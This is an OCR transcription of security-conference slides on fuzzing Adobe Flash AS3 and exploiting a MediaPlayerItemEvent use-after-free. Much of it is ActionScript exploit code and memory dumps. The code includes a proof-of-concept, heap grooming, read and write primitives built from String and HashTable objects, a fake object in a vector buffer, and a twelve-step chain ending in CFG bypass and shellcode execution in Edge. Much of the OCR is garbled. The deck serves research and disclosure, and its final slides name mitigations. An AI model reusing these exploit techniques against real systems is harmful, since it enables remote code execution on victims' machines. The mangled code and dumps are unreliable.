RO Ot Ca use A Nd |yS |S _, 0287cd70 10e2df58 10e2df48 10e2df38 00000008

| 0287cd80 00000000 00000000 947518b1 4153ef88
public static var _g_dic; ! 0287cd90 00000001 00000000 00000000 00000000

public static var spary_arr = [];

. : ScriptObject !

public function poc(){ # 029f81f0 10dfg580 80006501 037130 028e7fd0
~8.dic = new Dictionary(); ./ 0298200 [0287cd7000000000
_g dic["object"] = new Array(); p
var s = new String(); //
var mpie = new MediaPlayerltemEvent(8, null, null); 7
var md0 = new Metadata(); First call getObject: v26 = sub_10367E23(v55, &v119,
md0.setObject(s, mpie); v54);
_g dic["object"].push(md0.getObject(s)); = = = = = = = = = = = , 1. new ScriptObject (another one) -- vulnerable
//_g_arr.push(md0.getObject(s)); 029f8ce8 10df8580 8000e701 03f713c0 028e7fd0
var getargs:Array = new Array(); 029f8cf8 0287cd70 00000000

getargs.push(s);
_g dic["object"].push(invokeMethod("getObject", mdO, getargs)); 2. call setdeaditem to set ScriptObject[029f8ce8] into

//Free and Reclaim MediaPlayerltemEvent[0287cd70]
for (var j=0; j < 0x1000/2; j++)
spary_arr[j] = "galois"+j; MediaPlayerltemEvent
//USE 0287cd70 10e2df58 10e2df48 10e2df38 00000008
_g dic["object"][0].type; 0287cd80 00000000 00000000 947518b1 4153ef88

0287cd90 00000003 029f8ce8 00000000 00000000



. MediaPlayerltemEvent
RO Ot Ca use A Nd |yS |S _ 0287cd70 10e2df58 10e2df48 10e2df38 00000008
|~ 0287cd80 00000000 00000000 947518b1 4153ef88
public static var _g_dic; | 0287¢cd90 00000003 029f§ce8 00000000 00000000

"""" |
ScriptObject ' I

public function poc() { 029f8ce8 10d48580 00000002 03f713c0 028e7fd0

_g dic = new Dictionary();
g dic["object"] = new Array(); 029f8cf8 0287cd70|00000p00
var s = new String(); :

var mpie = new MediaPlayerltemEvent(8, null, null); I
var md0 = new Metadata(); |

public static var spary_arr = [];

mdO0.setObject(s, mpie); 1. second getObject, call :1035971e (get cache directly)
_g dic["object"].push(md0.getObject(s)); text:1035971E mov eax, [ecx+1Ch]; ecx = 0287cd78
//_g_arr.push(md0.getObject(s)); j—————- == — .text:10359721 retn
var getargs:Array = new Array(); I should return object 029f8ce9, but return number
getargs.push(s); ' 029f8ce8
_g_dic["object"]. push(|nvokel\/lethod("getObJect" md0, getargs)); 2. avmplus::AvmCore::atomWriteBarrier (in JIT)

//Free and Reclaim Write ScriptObject into AtomAddress
for (var j = 0; j < 0x1000/2; j++) 029622e0 10e92f38 8000ed01 02a03f70 00000000

spary_arr[j] = "galois"+j; 029622f0 028858c8 02962221 02a35040 02962310
//USE 02962300 029f8ce8 00000000 00000000 00000000

_g dic["object"][0].type;



AtomAddress
I 029622e0 10e92f38 8000ed01 02a03f70 00000000
| gc_stack
RO Ot Ca u S e A n a yS I S 029622f0 028858c8 02962221 02a35040 02962310

public static var _g_dic; 02962300 029f8ce8 00000000 00000000 00000000 6'29622e0

public static var spary_arr = [];

public function poc() { ScriptObject before 029f8ce8
_g_dic = new Dictionary(); 029f8ce8 10df8580 00000002 03f713c0 028e7fd0
_g_dic["object"] = new Array(); 029f8cf8 0287cd70 00000000 4

var s = new String(); |
var mpie = new MediaPlayerltemEvent(8, null, null);
var mdO = new Metadata();
md0.setObject(s, mpie);
_g_dic["object"].push(md0.getObject(s)); '
//_g_arr.push(md0.getObject(s));
var getargs:Array = new Array();
getargs.push(s);
_g_dic["object"].push(invokeMethod("getQbject", mdO, getargs)); ScriptObject after, occupied by String

MMgc::ZCT::Reap will scan gc_stack and call ReapObject
on AtomAddress [029622e0] and ScriptObject [029f81f0],
———————— » because these two objects are on gc_stack
: Trigger GC Eventually ScriptObject refcount decreased twice to 0 and
| freed.
|
|

//Free and Reclaim : 029f8ce8 10e938c8 80002502 02ef0970 00000000
for (var j=0; j < 0x1000/2; j++) o R 029f8cf8 0000003b 00007400
spary_arr[j] = "galois"+j; =

//USE Reclaim the memory with String 1:025> da 02ef0970

_g_dic["object"][0].type; 02ef0970 “galois573"



after patch before patch

103760DF MetaData_getObject_inner * ; * MetaData_getObject_inner 10370375
[] 0 E
[m[n] TETE0F  MetaData_getObject_inner 10370375 Metalata_getObject_inner mm@ﬁw
I 10376238 lea ecx, ds:[eax+ix8] i 10370508 lea ecx, ds:[eax+0x8]
10376238 mov eax, ds:lecx] i HET050C  mov eax, ds:[ecx]
10376230 call ds: [eax] i 1037050E  call ds: [eax] cé
B 10370510 mov edi, cax
1037623F  test eax, oax 10370512  test edi,
10376241 jz 0x10376258
10370514 jnz Ox103704E1
1 ~
I T~
I ==,
I
I
I
I
I
I
|
¥ I .
1037600F  Metabata_getObject_inner 1037600F  Metabata_getObject_inner I /4 first get, return 8;
Ff 18377f6a :ggﬁ:é o = ;s:t[’iz|>+oxfc] 10376258 xor odi, edi : I‘{f second getObject, call 1835971e
ff .text:18377F6A mou eax, [ecx+1Ch] 10376249 mov s, (ol | I fFf .text:1835971E mov eax, [ecx+1Ch]
- 037624B 1 ds:[eax] |
/7 .text:10377F6D retn waenn - cal Eiar I | /7 .text:18359721 retn
A 1037624F  mov eCx, eax | | A
| 10376251 call ds: [ed+0x8] | 1
10376254 mov edi, eax 1 1 I
I 10376256  jmp Ox 10376254 ] 1
| | :
I
. | I . I
if ( a2 ) : i I if ( vi38 ) :
1 g
: : : | . .
1f { (=={int (===)(void))(aZ + 8))() ) IGHT6OIF  Motabata.rotOboct_inmer | rFet = (*x(int (=*x){uoid)){ui128 + 8))():
{ 1037625C  jnz Ox 10376210 :
V18 = (ex(int (xxx)(void))(a2 + 8))(); _ |
ret = {*®{int {_ thiscall ==)}{int)){={ DWORD =)u1d + 8)){v18) Pt T~ I .
i S~ I if § tret )
I ,” =g I
-
¥ ¥
- - .- * 103T600F  MetaData_getOb ject_inner 10370375 Metalata_getObject_inner
Ff 1885621 F 8bc1 mou Pax,eCcx 1037625E  mov oex, ss:{l-w]um‘] 10370516  mov ooy, ﬁﬁ:Equ:;UxM]
10376261 d eax, ds:[ecx 10370519 d rax, ds:[ecx
F/ 18856221 83c881  or eax,1 10376263 :'::I ds:[l-=.j+m] wm;m :::I . A
10376266 cmp eax, bl Ox67 1037051 cmp eax, | :
£/ 100856224 c3 ret 10376269 Ja 0x1037674D 10370521  ja Ox103709F2

Is the patch still vulnerable? - Jie Zeng of Tencent Zhanlu Lab (CVE-2017-11215, CVE-2017-11225)



Exploit on Windows x86

e Spray ByteArray to heap layout

e Convert MediaPlayerltemEvent ScriptObject UAF to String UAF (type
confusion String with Dictionary) [2]

e Use String UAF to get read primitive: leak the address and content of
ByteArray, including ByteArray cookie

* Trigger MediaPlayerltemEvent ScriptObject UAF for the second time and
reclaim the memory with fine-constructed String

* Use MediaPlayerltemEvent.type to get write primitive: get a huge size
ByteArray by writing ByteArray length and length cookie.

* Get the capability of read and write the whole process memory, bypass
mitigations (DEP, ASLR, CFG, etc) and execute the shellcode.

[2] Use-After-Use-After-Free: Exploit UAF by Generating Your Own — Guanxin Wen, blackhat EU 2016



Exploit difficulties on Windows x64

* String memory structure is different with x86, it is difficult for the
String object to get a stable read primitive ®

String before type confusion

0000038d'4a987fd8 00007ffd 'a8334ad8 00000000°80002301 -> vtable and refcnt

0000038d'4a987fe8 000005f6°172f13d0 00000000 00000000 -> string bufferl and buffer2

0000038d'42987ff8 00007a00°0000003b -> 0000003b is length, 00007200 is type for ansii, unicode, bufferl or buffer2

String after type confusion with ScriptObject

0000038d°4a2987fd8 00007ffd eeb94ed0 00000000°8001f301

0000038d°4a987fe8 0000038d b69d5c80 0000038d b6b5d910

0000038d'4a987ff8 0000016b cfda8e80 -> faked length cfda8e80 is big enough, but faked type 0000016b is not controllable

e Spray on Windows 10 Creators x64 is hard, it is difficult for an even 4g
size String object to leak the address and content of ByteArray ® & &



Exploit on Windows x64: HashTable

var ba = new ByteArray();

var ht = {0x888880:ba, , 0x888882:0x333332, 0x888883:0x333333,
0x888884:0x333334, 0x888885:ba, 0x888886:0x333336, 0x888887:0x333337, 0x888888:0x333338,
0x888889:0x333339, 0x88888a:ba}

000005ea b6f3ea88 00007ffdeec38598 0000000004444406 000005eab6ffbb31 000000000444440e 000000000199998e
000005ea b6f3eab0 0000000004444416 0000000001999996 000000000444441e 000000000199999e 0000000004444426
000005ea b6f3ead8 00000000019999a6 000000000444442e 000005eab6bffbb31 0000000004444436 00000000019999b6
000005ea b6f3eb00 000000000444443e 00000000019999be 0000000004444446 00000000019999¢c6 000000000444444¢e
000005ea b6f3eb28 00000000019999ce 0000000004444456 000005eabbffbb31 0000000000000000 0000000000000000
000005ea b6f3eb50 0000000000000000 0000000000000000 0O00000000000000 0000000000000000 OO00000000000000
000005ea b6f3eb78 0000000000000000 0000000000000000 0O00000000000000 0000000000000000 0O00000000000000

Key: 0000000004444406 >>3 = 00000000°00888880
Value: 000005eab6ffbb31 -> ByteArrayObject



Exploit on Windows x64: HashTable

* Perfect exploit-friendly object
* Elements are highly controllable
* Elements are changeable flexibly without memory structure change
* Not isolated (isolate heap isolate object and data [Array, ByteArray, Vector])
 Size is controllable

eb&et—te—get—a—s%abJe—%ad—&mﬁ—a%@

* HashTable can help us read any object without spray © © ©



Epr0|t on Windows x64

{

: Heap header 0)!60
!
static function leaveSlot() String
//0x64*0x28+0x60=0x1000 String
for (varj=0; j < 0x64*0x100; j++) String
arr_gcl[j] = j.toString(16); String
arr_gc[0x3200] = null; A whole page String
forceGC(); 0x1000 slot

String
String
String
String

String 0x28

A 4

Addr: 0000045a°7796f970
vtable: 00007ffdeec34ad8
refcnt: 0000000000000002
strbufl: 0000035f9¢c7dal108
strbuf2: 0000000000000000
type&Ilen: 0000080000000004

0:011> da 0000035f9c7da108
0000035f'9c7da108 "31fd"




—*| ScriptObiject

Exploit on Windows x64

Step 2: Convert ScriptObject UAF to String UAF

[2.1] Insert vulnerable
ScriptObject into slot

Heap header

String

String
String

String
String

String

[2.2] Trigger
ScriptObject UAF

Heap header

String

String
String
= = slot

String
String

String

|
l
|
l
|
l
/

/MediaPlayerltemEvent

_g dic["object"][0]

//MediaPlayerltemEvent
_g dic["object"][0]

[2.3] Reclaim [2.4] Free ScriptObject
memory with String in AS3
Heap header Heap header
String String
String String
String String
;' = String. l ': slot i
| String | String :
I String I String I
| I |
: o : o |
| String I String |
//Medi'aPIayerItemEvent //étring //String '
_g_dic["object"][0] Arr[x] Arr[x]




Exploit on Windows x64
Step 3: Reclaim the memory with different size
HashTable

[3.1] Free all Strings allocated in [3.2] free the whole page and
heap grooming reclaim the memory with HashTable
Heap header | Heap header
slot HashTable
Ox28 0x118
slot A whole page HashTable
sTot 0x1000
- »| slot - »| HashTable <
| slot , :
1 |slot | HashTable I
[ [ [
. :
| slot | :
//String //S.tring //HashTatl)Ie

Arr[x] Arr[x] arr_hashtable[k][j]




Exploit on Windows x64
Step 3: Reclaim the memory with different size
HashTable

//HashTable, 0x118
arr_hashtable[k][j]

|
|
|
v

oooo04sa”
oooo04sa”
oooo04s5a”
mO000045a"
oo00o045a”
»O0000045a"
“77969b78

7796%a88
7796%akb0
7796%ads
77963000
77969b248
77969b50

2/7 success

valuelor6

arr_hashtable[k][j][0x888880]

value 2 or 7

arr_hashtable[k][j][0x888881]

00007 ffdeec38598
goooonooodd44441e
ooooa00o01999%a6
oooo0nooo4dd44die
0000000001939 % =
goooooanoooaooan
goooooanoooaooan

//String, 0x28
Arr[x]

goooonooo4444406
0o00000001999996
ooooonooo444442e
ooo0000o0019999%be
oooooo0no4444456
gooooooooooaooan
gooooooooooaooan

ooo0045ayYabibil

IMNNNNINNEEEEESI

oooo0045a77ablibil

U IE D
000004557 7ablb3l
goooooogooooooon

0000000000000000

String_buffer

ooooonooodd44440e
ooooonoo0199939e
gooooooooo4444436
ooooo00o019999ch

<————

gooooooo

1199998

NN

444447F

oooooooo

[119999b6

[LRRRRRD LRERERN

444M3de

goooooooooonoonn DDDQDDDDDDDDDDDD
goooooooooooo0oo ooogooooooooDoao

0000000000000000

aan

String_type




Exploit on Windows x64
Step 3: Reclaim the memory with different size

HashTable

* We used 9 hash and value pairs in HashTable which take 0x118 bytes
in the memory. Why we choose 9 pairs and size 0x118?

* Can we improve 2/7 success rate?



Exploit on Windows x64
Step 4: Use String+HashTable for info-leak

4.1 Use String.length to check if reclaim HashTable is successful

for (var j = 0; j < 0x1000 / 2; j++)

{

}

0000025e"
0o000025e"
0o000025e"
0o000025e"
0000025e"
0000025e"
0o000025e"

if (arr[j].length == 0x0199998e | | arr[j].length == 0x019999b6) //arr|[j] is String

{

eb575a88
eb575abl
eb575ads
eb575B00
eb575b28
eb575b50
eb575B78

0o0007f£99=4a8598
goo0oooon4444416
0o000000001999%a6
gooooooon444443e
0000000001999 %ze
oooooooooooooonn
gooooooooooooonn

oo00o0o0004444406
0o00000001999996
000000000444442e
oo00oo00001999% e
oo00000004444456
ooooooooonoooonn
gooooooooooooonn

0000025e=be3bb31
ooo0nooon4444dle
0000025e=be9bb31
oooonoooo4444446
0000025e=b69bb31
oooonooooonoooon
gooonooooonoooon

0o0000000444440=
0o0000000199999%
0o000000004444436
ooo0oooo019999:z6
gooooooooooooonn
oooooooooooooonn
goooooooooooooon

ooooo00O0199393e
goooooonuddaddle
oooooo000019999b6
goonoooooiidddde
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Exploit on Windows x64
Step 4: Use String+HashTable for info-leak

4.2 Leak the address of ByteArrayObject and m_array

00000449 Ychbbes28 OONONT7ff99=048090
00000449 e 00004497 cocesibal

Public function readLow32(offset:int) {

low32 = (ByteArray_str.charCodeAt(3+offset-1) << 24);
low32 |= (ByteArray_str.charCodeAt(2+offset-1)<<16);
low32 |= (ByteArray_str.charCodeAt(1+offset-1)<<8);
low32 |= (ByteArray_str.charCodeAt(0O+offset-1));
return low32;

}

Public function readHigh32(offset:int) {

high32 = (ByteArray_str.charCodeAt(5+offset-1)<<8);
high32 |= (ByteArray_str.charCodeAt(4+offset-1));

HashTable
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return high32;
}

ByteArrayObject

ByteArray_m_array_addr_low = readLow32(0x88);
ByteArray_m_array_addr_high = readHigh32(0x88);
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Exploit on Windows x64
Step 4: Use String+HashTable for info-leak

4.3 Leak the address of HashTable

//reset HashTable value with HashTable itself

arr_hashtable[k][j][0x888880] = arr_hashtable[k][j];
arr_hashtable[k][j][0x888885] = arr_hashtable[k][j];

//read
HashTable_addr_low = readLow32(0x20) - 1;
HashTable_addr_high = readHigh32(0x20)
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Exploit on Windows x64
Step 4: Use String+HashTable for info-leak

4.4 Leak the address of gName_localName and gName__uri

[——— === === HashTable
. | 00000540 53762628 O0007ffW9=540598 0000000004444406
//desc.fname; IDDDDDSdn*-Ea;'-aae-aa-DDDDDSd05354df:9 000000000444440e
- . , , , 000005d0f 53762648 OO000e00TaTas0e 0000000004444416
static var desc = describeType(MediaPlayerltemEvent); |nnnnn5dn:*53?eer555 0000000001999996 000000000444441e
. . _ . . n nys -
tatic var aame:QName = new QNamel{desc. @urioString(), "type SORSCEd £7cist Sobiessot e dobbeonosise
//reset HashTable value with gName 000005d0F 53762658 000005405354dFc9 0000000004444436
_ | 0o0o0Sdoy 53762698 0000000001999906 000000000444443
arr_hashtable[k][j][0x888880] = gName; | 00000540 5376c6a8 00000000019999be DO00OOO004444446
: _ e o o o o o o = ) 00000540 53762608 00000000019999c6 D00000000444444e
arr_hashtable[k][j][0x888885] = gName; 000005d0° 53762608 00000000019999ce 0000000004444456
//read 00000540k 5376e6d8 D00005d05354dfcd 0000000000000000
qName_localName_addr_low = readLow32(0x20); _ ] :
gName_localName_addr_high = readHigh32(0x20); : I an
. ame
gName_uri_addr_low = readLow32(0x28); | v
- C - ——— 000005d0 5354dfcs DO007ff99=545f70 O0000000400000f ¢
gName_uri_addr_high = readLow32(0x28); | D0000SAD" 5354dfd8 Q00NNEANE2479340 NANNNEANE3d2£d0
=] ) el (=5, 5t = 00000540532 766£0//000005d053263948

l
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Exploit on Windows x64
Step 4: Use String+HashTable for info-leak

4.5 Leak the address of vector buffer as faked object

//reset HashTable value with vector

arr_hashtable[k][j][0x888880] = vector;_ __

arr_hashtable[k][j][0x888885] = vector;

//read vector_buf

VecBuf_addr_low = readLow32(0x30); _

VecBuf_addr_high = readHigh32(0x30);

HashTable
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Exploit on Windows x64
Step 5: fake object in vector buftfer

public static function fakeObjectinVecBuf(vectorAddrHigh, vectorAddrLow) {
//make the function path go to “write primitive”
vector[0Oxc8/4-1]=vectorAddrLow+0x20; vector[0xc8/4-1+1]=vectorAddrHigh;
vector[0x20/4-1]=vectorAddrLow+0x1000; vector[0x20/4-1+1]=vectorAddrHigh;
vector[0x1008/4-1]=vectorAddrLow+0x1010; vector[0x1008/4-1+1]=vectorAddrHigh;
vector[(0x1010+0x748)/4-1]=0x10000;

vector[0x1020/4-1]=vectorAddrLow+0x1030; vector[0x1020/4-1+1]=vectorAddrHigh;
vector[(0x1010+0x74c)/4-1]=0x01;

vector[(0x1010+0x770+0x28)/4-1]=vectorAddrLow+0x40; vector[(0x1010+0x770+0x28)/4-1+1]=vectorAddrHigh;
//prevent crash

vector[(0x1038)/4-1]=vectorAddrLow+0x60; vector[(0x1038)/4-1+1]=vectorAddrHigh;
vector[(0x1044)/4-1]=0x01;

vector[0x70/4-1]=gName_localName_addr_low; vector[0x70/4-1+1]=gName_localName_addr_high;
vector[0x78/4-1]=gName_uri_addr_low; vector[0x78/4-1+1]=qName_uri_addr_high;
vector[0x80/4-1]=0x06;



Exploit on Windows x64
Step 5: fake object in vector buffer

//set the address and value of write primitive
public static function constructWritePrimitiveBuf(address_low, address_high, value_low, value_high)
{

//value

vector[(0x1010+0x770+8)/4-1] = value_low;

vector[(0x1010+0x770+8)/4-1+1] = value_high;

//address

vector[(0x1010+0x770+0x18)/4-1] = address_low;

vector[(0x1010+0x770+0x18)/4-1+1] = address_high;



Exploit on Windows x64
Step 6: Trigger UAF for the second time and

reclaim with fine-constructed String
* Trigger MediaPlayerltemEvent ScriptObject UAF again

* Reclaim memory with String
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Exploit on Windows x64
Step 7: Use MediaPlayerltemEvent.type to write
HashTable Value with ByteArray m array address

e Call _g dic["object"][0].gName (MediaPlayerltemEvent.type) to get
the ability of writing arbitrary value to arbitrary address.

controlled_object_2 = controlled_object;
if { *=( OWORD =){controlled object + Bx28) )}
goto LABEL_6;
i = 7;
if { *az )
vi = 31;
ul = sub_188969FFB{ {Migc: :GCHeap ==){quord_1819967F8 + 7F648), 1i6h4, v3);

sub_1809714A0 = = =» if ( vs )

{
A xul = Bi6h;
| u4[1] = 0i64;
*{ QWORD =){controlled object 2 + Bx28) = ul;
_AREL _fi-
I addr_of_write_primitive = ={_QWORD ==){controlled object_2 + 8x18);
I if { addr_of_write_primitive ) ff enter
{
ve ve value of _write_primitive = ={_QUORD =){controlled object 2 + 8);
MMgCGcweakRefget ++x{ DWORD #=){controlled object 2 + Bx24});
y § ={_ DWORD =){controlled_object_2 + 8x28) += (value_of_write primitive - ={_QWORD *)controlled_object_2) >> 3;
I saddr_of_write_primitive = value_of_write_primitive;// write any address with any value
}
I U7 = *( OUNED JlconTrolIed objecr o & Bx28);
uly = *{ QUWORD ==){controlled object 2 + Bx18);
I *{ OWORD =){controlled object 2 + Bx28) = Bid6h;
*{ OUORD =){uv7 + 8) = ul; ff write any address with any value
H *{ (WORD #=)}{controlled object 2 + Bx18) = u7;
MedIaPIayerItemEvent'type *(_0QWORD =)(controlled object_2 + Bx18) = v7 + Bx1800;

LOBYTE{vh4) = 1;
*{_OWORD =*)controlled_object_2 = uw? + Bx18;
*{ QWORD #=){controlled object 2 + 8) = u7 + Bx18;



Exploit on Windows x64

Step 7-8: write HashTable Value with ByteArray m_array

//Write HashTable value with m_array of ByteArrayObiject
constructWritePrimitiveBuf(HashTable_addr_low,
HashTable addr_high, ByteArray _m_array_addr_low,
ByteArray_m_array_addr_high);
writePrimitive(ExpBufStr_addr);

//read, Leak ByteArrayObject cookie stored in m_array
ByteArray_m_array_cookie = readLow32(0x28);

— = ==y
ByteArray_m_array _cookie = 0x1000; = = [
v I
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Exploit on Windows x64
Step 9: write m_buffer with ByteArray m_array
address and set m buffer cookie

//write m_buffer with m_array

initExpBuffer();

constructExpBuffer(ExpBufStr_addr_high, ExpBufStr_addr_low);
constructWritePrimitiveBuf(ByteArray_m_array_addr_low+0x10, ByteArray_m_array _addr_high,
ByteArray_m_array_addr_low, ByteArray _m_array_addr_high);

try{ g _dic["object"][0][gqName]; }catch (e:Error){}

//write m_buffer cookie

initExpBuffer();

constructExpBuffer(ExpBufStr_addr_high, ExpBufStr_addr_low);

var ByteArray_m_buffer_check:uint = ByteArray_m_array_addr_low " ByteArray _m_array_addr_high »
ByteArray_m_array_cookie;

constructWritePrimitiveBuf(ByteArray_m_array_addr_low+0x20, ByteArray_m_array_addr_high, O,
ByteArray_m_buffer_check);

try{ g _dic["object"][0][gqName]; }catch (e:Error){}



Exploit on Windows x64
Step 10: Get a god-mode ByteArray
read and write anywhere in x64

I R

which can

find god ByteArray in 256; the first gword 1§ /19954670 |— il <

Vtable of ByteArray m_array

AE LA NEEEFERES

e




Exploit on Windows x64
putting it all togother

Step 1: Heap grooming.
Step 2: Convert MediaPlayerltemEvent ScriptObject UAF to String UAF.
Step 3: Preparation for read primitive: reclaim the memory with bigger size HashTable

Step 4: Use String+HashTable to leak address of ByteArrayObject and m_array, HashTable,
QName_localName and QName_uri, Vector.

Step 5: Preparation for write primitive: fake object in vector buffer.
Step 6: Trigger UAF for the second time and reclaim with fine-constructed String

S’(cje 7: Use String+MediaPlayeritemEvent.type to write HashTable Value with ByteArray m_array
address.

Step 8: Use String+HashTable to leak the content of m_array including ByteArray_m_array cookie.

Step 9: Use String+MediaPlayeritemEvent.type to write m_buffer with ByteArray m_array address
and set m_buffer cookie.

Step 10: Get a god-mode ByteArray which can read and write anywhere in x64.
Step 11: Bypass CFG by overwriting the return address leaked in function object.
Step 12: Call LoadLibrary(“jscript”) in shellcode in the Edge/Flash demo.



Exploit on Windows x64
Why it is a general exploit technique?

e String + Object.attribute (MMgc::GCWeakRef::get)

e String + HashTable can generally provide a stable
and powerful read primitive which can read any

object in AS3.

Heap header
HashTable
HashTable

»| HashTable

Read Primitive

|
I
I HashTable
I
I
I

4= =

can generally provide a stable and powerful write
primitive which can write any value to any address.

set any object as
hashtable value

//S.tring //HashTat')Ie
Arr[x] arr_hashtable[k][j]

Heap header
String
| String
String
ot String “ 1
I
fake object |! =— |
in vecBuf in : String : Write Primitive
StringBuf |1
ringeu I String :
//St;ing //Objec't.attribute
Spray_arr]j] _g dic["object"][0][qName]




Exploit on Windows x64
Why it is a general exploit technique?

* NOT ISOLATED: HashTable is in partition 0 of GCAlloc with many other
AS3 objects like ScriptObject, String, Dictionary, ByteArray, etc

* MASSAIVE OBJECTES: Most AS3 objects are in partition 0 of GCAlloc.

 REBIRTH: All UAFs in partition O of GCAlloc are possible to exploit
successfully with this exploit technigque.
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Demo

Tested on flash64_24 0 0 _194.ocx in Edge Windows 10 x64 1803 Jun Patch (latest).
The exploit works from flash 19 to flash 27.0.0.183.

23,120

90, 212

25, 656

25, 672

87, 440 K
Name - Description Company Name Path
Flash64 24 0 0 _194. ocx Adobe Flash Player 24.0 r0 Adobe Systems, Inc. C:\Windows\System32\Macromed\Flash\Flash64 24 0 0 _194. ocx
fltLib. d11 i i 28 e Microsoft Corporation C:\Windows\System32\fltLibh. d11
gdi32. dll GDI Client DLL Microsoft Corporation C:\Windows\System32\gdi32. d11
gdi32full. dl1 GDI Client DLL Microsoft Corporation C:\Windows\System32\gdi32full. d11
httpapi. dll HTTP Protocol Stack API Microsoft Corporation C:\Windows\System32\httpapi. dl1l
ieapfltr.dll Microsoft SmartScreen Filter Microsoft Corporation C:\Windows\System32\ieapfltr. dl1l
ieproxy.dll IE ActiveX Interface Marshaling Library Microsoft Corporation C:\Windows\System32\ieproxy. dl1
jertutil. dll Internet Explorer HYIZATHISZHIFET Microsoft Corporation C:\Windows\System32\iertutil. d11
imm32. d11 Multi-User Windows IMM32 API Client DLL Microsoft Corporation C:\Windows\System32imm32. d11
InputHost. d11 C:\Windows\System32'\InputHost. dl1

IP #HNFEF API Microsoft Corporation C:\Windows\System32\IPHLPAPI. DLL




summary

* Fuzzing

* how we implement an AS3 based fuzzing tool with random instantiations of
new objects, random invocations of methods and random fields getter/setter
using the implicit reflection in AS3.

* Exploit
 How HashTable+Object.Attribute+String break the anti-UAF mitigations and
gernerally supply read/write primitive for UAF vulnerabilities.
* Mitigation and detection

* Isolate exploit-friendly HashTable
* Monitor abnormal ByteArray



Q&A

* Thanks



